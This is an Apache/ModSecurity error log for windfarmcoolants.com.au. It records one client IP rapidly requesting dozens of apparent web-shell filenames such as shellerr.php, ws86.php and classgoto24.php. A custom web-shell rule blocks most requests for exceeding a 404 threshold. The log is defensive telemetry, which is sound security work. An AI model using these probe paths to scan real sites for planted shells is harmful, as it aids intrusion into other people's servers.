[Wed Apr 01 20:12:41.217365 2026] [:error] [pid 8909:tid 8942] [client 20.203.215.185:10534] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ac0LuTvP_a0662gDl6CaGwAAAME"]
[Wed Apr 01 20:12:47.535430 2026] [:error] [pid 62559:tid 62583] [client 20.203.215.185:9592] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "ac0Lvy7NKI8IaNKZFIeLlQAAAVY"]
[Wed Apr 01 20:12:48.860182 2026] [:error] [pid 8909:tid 8941] [client 20.203.215.185:27756] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "ac0LwDvP_a0662gDl6CaRAAAAMA"]
[Wed Apr 01 20:12:51.153862 2026] [:error] [pid 17856:tid 17871] [client 20.203.215.185:13315] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "ac0Lwz7Idlm5j9frhqQPOgAAAE0"]
[Wed Apr 01 20:12:52.175872 2026] [:error] [pid 8909:tid 8947] [client 20.203.215.185:23556] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "ac0LxDvP_a0662gDl6CaVQAAAMY"]
[Wed Apr 01 20:12:54.144468 2026] [:error] [pid 17856:tid 17876] [client 20.203.215.185:9289] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "ac0Lxj7Idlm5j9frhqQPQQAAAFI"]
[Wed Apr 01 20:12:57.660977 2026] [:error] [pid 8909:tid 8954] [client 20.203.215.185:27206] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "ac0LyTvP_a0662gDl6CacwAAAM0"]
[Wed Apr 01 20:13:03.219737 2026] [:error] [pid 8909:tid 8950] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Wed Apr 01 20:13:03.555524 2026] [:error] [pid 8909:tid 8949] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Wed Apr 01 20:13:03.793373 2026] [:error] [pid 8909:tid 8965] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Wed Apr 01 20:13:04.310268 2026] [:error] [pid 8909:tid 8964] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Wed Apr 01 20:13:04.687456 2026] [:error] [pid 8909:tid 8952] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Wed Apr 01 20:13:05.039300 2026] [:error] [pid 8909:tid 8951] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/sweg.php
[Wed Apr 01 20:13:05.324176 2026] [:error] [pid 8909:tid 8945] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/xpwer1.php
[Wed Apr 01 20:13:05.576333 2026] [:error] [pid 8909:tid 8942] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/ws40.php
[Wed Apr 01 20:13:05.824320 2026] [:error] [pid 8909:tid 8949] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/albin.php
[Wed Apr 01 20:13:06.149148 2026] [:error] [pid 8909:tid 8944] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/awh.php
[Wed Apr 01 20:13:06.485028 2026] [:error] [pid 8909:tid 8954] [client 20.203.215.185:23062] File does not exist: /usr/local/apache/htdocs/suspended-page/shellerr.php
[Wed Apr 01 20:13:06.851886 2026] [:error] [pid 8909:tid 8951] [client 20.203.215.185:23062] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-scanner.php"] [unique_id "ac0L0jvP_a0662gDl6CargAAAMo"]
[Wed Apr 01 20:13:07.799951 2026] [:error] [pid 17856:tid 17882] [client 20.203.215.185:9311] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-scanner.php"] [unique_id "ac0L0z7Idlm5j9frhqQPcgAAAFg"]
[Wed Apr 01 20:13:08.813450 2026] [:error] [pid 17856:tid 17876] [client 20.203.215.185:24650] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-scanner.php"] [unique_id "ac0L1D7Idlm5j9frhqQPegAAAFI"]
[Wed Apr 01 20:13:11.824408 2026] [:error] [pid 8909:tid 8964] [client 20.203.215.185:36030] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-scanner.php"] [unique_id "ac0L1zvP_a0662gDl6CasQAAANc"]
[Wed Apr 01 20:13:12.499416 2026] [:error] [pid 8909:tid 8945] [client 20.203.215.185:27935] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ac0L2DvP_a0662gDl6CatwAAAMQ"]
[Wed Apr 01 20:13:14.249460 2026] [:error] [pid 8909:tid 8959] [client 20.203.215.185:13939] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ac0L2jvP_a0662gDl6CaxQAAANI"]
[Wed Apr 01 20:13:15.562101 2026] [:error] [pid 8995:tid 8998] [client 20.203.215.185:1570] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ac0L2-onaBjs3qxcRee4mwAAAAA"]
[Wed Apr 01 20:13:16.790200 2026] [:error] [pid 8910:tid 8990] [client 20.203.215.185:30375] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ac0L3KJZINUcF3tYgExUhAAAARY"]
[Wed Apr 01 20:13:17.841598 2026] [:error] [pid 17856:tid 17876] [client 20.203.215.185:11601] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "ac0L3T7Idlm5j9frhqQPiwAAAFI"]
[Wed Apr 01 20:13:19.833509 2026] [:error] [pid 62559:tid 62576] [client 20.203.215.185:20831] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "ac0L3y7NKI8IaNKZFIeLwAAAAU8"]
[Wed Apr 01 20:13:21.423219 2026] [:error] [pid 8908:tid 8918] [client 20.203.215.185:34446] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "ac0L4fkmxtJXGnLdvgBxSwAAAIU"]
[Wed Apr 01 20:13:22.378432 2026] [:error] [pid 17856:tid 17874] [client 20.203.215.185:35855] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "ac0L4j7Idlm5j9frhqQPjwAAAFA"]
[Wed Apr 01 20:13:24.901176 2026] [:error] [pid 62559:tid 62561] [client 20.203.215.185:35840] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "ac0L5C7NKI8IaNKZFIeLxgAAAUA"]
[Wed Apr 01 20:13:26.275493 2026] [:error] [pid 8995:tid 9000] [client 20.203.215.185:15923] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "ac0L5uonaBjs3qxcRee4qgAAAAI"]
[Wed Apr 01 20:13:29.572307 2026] [:error] [pid 8910:tid 8985] [client 20.203.215.185:35947] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "ac0L6aJZINUcF3tYgExUmAAAARE"]
[Wed Apr 01 20:13:31.438318 2026] [:error] [pid 62559:tid 62566] [client 20.203.215.185:26381] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "ac0L6y7NKI8IaNKZFIeL2AAAAUU"]
[Wed Apr 01 20:13:32.415216 2026] [:error] [pid 62559:tid 62579] [client 20.203.215.185:26383] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ant.php"] [unique_id "ac0L7C7NKI8IaNKZFIeL2QAAAVI"]
[Wed Apr 01 20:13:34.671864 2026] [:error] [pid 8995:tid 9009] [client 20.203.215.185:15893] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ant.php"] [unique_id "ac0L7uonaBjs3qxcRee4wAAAAAs"]
[Wed Apr 01 20:13:35.768249 2026] [:error] [pid 8909:tid 8956] [client 20.203.215.185:15892] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ant.php"] [unique_id "ac0L7zvP_a0662gDl6Ca_AAAAM8"]
[Wed Apr 01 20:13:37.030362 2026] [:error] [pid 17856:tid 17873] [client 20.203.215.185:21300] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ant.php"] [unique_id "ac0L8T7Idlm5j9frhqQPmAAAAE8"]
[Wed Apr 01 20:13:38.017551 2026] [:error] [pid 8910:tid 8983] [client 20.203.215.185:21266] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "ac0L8qJZINUcF3tYgExUqgAAAQ8"]
[Wed Apr 01 20:13:38.793502 2026] [:error] [pid 62559:tid 62573] [client 20.203.215.185:15927] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "ac0L8i7NKI8IaNKZFIeL4QAAAUw"]
[Wed Apr 01 20:13:39.881180 2026] [:error] [pid 8910:tid 8989] [client 20.203.215.185:30930] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "ac0L86JZINUcF3tYgExUrQAAARU"]
[Wed Apr 01 20:13:40.903403 2026] [:error] [pid 17856:tid 17862] [client 20.203.215.185:16237] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "ac0L9D7Idlm5j9frhqQPnwAAAEQ"]
[Wed Apr 01 20:13:41.714662 2026] [:error] [pid 8910:tid 8981] [client 20.203.215.185:13616] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "ac0L9aJZINUcF3tYgExUrwAAAQ0"]
[Wed Apr 01 20:13:42.738483 2026] [:error] [pid 17856:tid 17881] [client 20.203.215.185:26378] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "ac0L9j7Idlm5j9frhqQPqQAAAFc"]
[Wed Apr 01 20:13:43.638615 2026] [:error] [pid 8910:tid 8969] [client 20.203.215.185:21274] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "ac0L96JZINUcF3tYgExUsgAAAQE"]
[Wed Apr 01 20:13:45.565983 2026] [:error] [pid 17856:tid 17861] [client 20.203.215.185:14432] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "ac0L-T7Idlm5j9frhqQPrQAAAEM"]
[Wed Apr 01 20:13:47.096943 2026] [:error] [pid 62559:tid 62575] [client 20.203.215.185:35624] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xda.php"] [unique_id "ac0L-y7NKI8IaNKZFIeL9QAAAU4"]
[Wed Apr 01 20:13:47.947074 2026] [:error] [pid 62559:tid 62568] [client 20.203.215.185:28169] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xda.php"] [unique_id "ac0L-y7NKI8IaNKZFIeL-wAAAUc"]
[Wed Apr 01 20:13:48.636730 2026] [:error] [pid 17856:tid 17869] [client 20.203.215.185:13632] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xda.php"] [unique_id "ac0L_D7Idlm5j9frhqQPsgAAAEs"]
[Wed Apr 01 20:13:49.472602 2026] [:error] [pid 8909:tid 8964] [client 20.203.215.185:21252] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xda.php"] [unique_id "ac0L_TvP_a0662gDl6CbJQAAANc"]
[Wed Apr 01 20:13:50.316422 2026] [:error] [pid 8909:tid 8957] [client 20.203.215.185:15213] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classgoto24.php"] [unique_id "ac0L_jvP_a0662gDl6CbLgAAANA"]
[Wed Apr 01 20:13:51.648875 2026] [:error] [pid 8908:tid 8930] [client 20.203.215.185:1829] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classgoto24.php"] [unique_id "ac0L__kmxtJXGnLdvgBxdwAAAJE"]
[Wed Apr 01 20:13:52.346765 2026] [:error] [pid 8909:tid 8962] [client 20.203.215.185:22835] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classgoto24.php"] [unique_id "ac0MADvP_a0662gDl6CbRwAAANU"]
[Wed Apr 01 20:13:53.990644 2026] [:error] [pid 62559:tid 62579] [client 20.203.215.185:22812] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classgoto24.php"] [unique_id "ac0MAS7NKI8IaNKZFIeL_AAAAVI"]
[Wed Apr 01 20:13:54.837431 2026] [:error] [pid 8909:tid 8943] [client 20.203.215.185:16251] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "ac0MAjvP_a0662gDl6CbbAAAAMI"]
[Wed Apr 01 20:13:55.735070 2026] [:error] [pid 8909:tid 8953] [client 20.203.215.185:11543] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "ac0MAzvP_a0662gDl6CbdAAAAMw"]
[Wed Apr 01 20:13:57.590283 2026] [:error] [pid 17856:tid 17875] [client 20.203.215.185:16478] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "ac0MBT7Idlm5j9frhqQPwQAAAFE"]
[Wed Apr 01 20:13:58.862445 2026] [:error] [pid 17856:tid 17858] [client 20.203.215.185:28772] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "ac0MBj7Idlm5j9frhqQPyAAAAEA"]
[Wed Apr 01 20:14:00.292424 2026] [:error] [pid 8910:tid 8988] [client 20.203.215.185:28499] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws43.php"] [unique_id "ac0MCKJZINUcF3tYgExUuAAAARQ"]
[Wed Apr 01 20:14:01.024871 2026] [:error] [pid 8908:tid 8931] [client 20.203.215.185:11561] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws43.php"] [unique_id "ac0MCfkmxtJXGnLdvgBxiQAAAJI"]
[Wed Apr 01 20:14:02.149811 2026] [:error] [pid 8909:tid 8956] [client 20.203.215.185:1650] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws43.php"] [unique_id "ac0MCjvP_a0662gDl6CbkQAAAM8"]
[Wed Apr 01 20:14:02.824124 2026] [:error] [pid 8908:tid 8934] [client 20.203.215.185:13081] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws43.php"] [unique_id "ac0MCvkmxtJXGnLdvgBxjAAAAJU"]
[Wed Apr 01 20:14:03.711730 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:33943] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gec.php"] [unique_id "ac0MCz7Idlm5j9frhqQP1gAAAEY"]
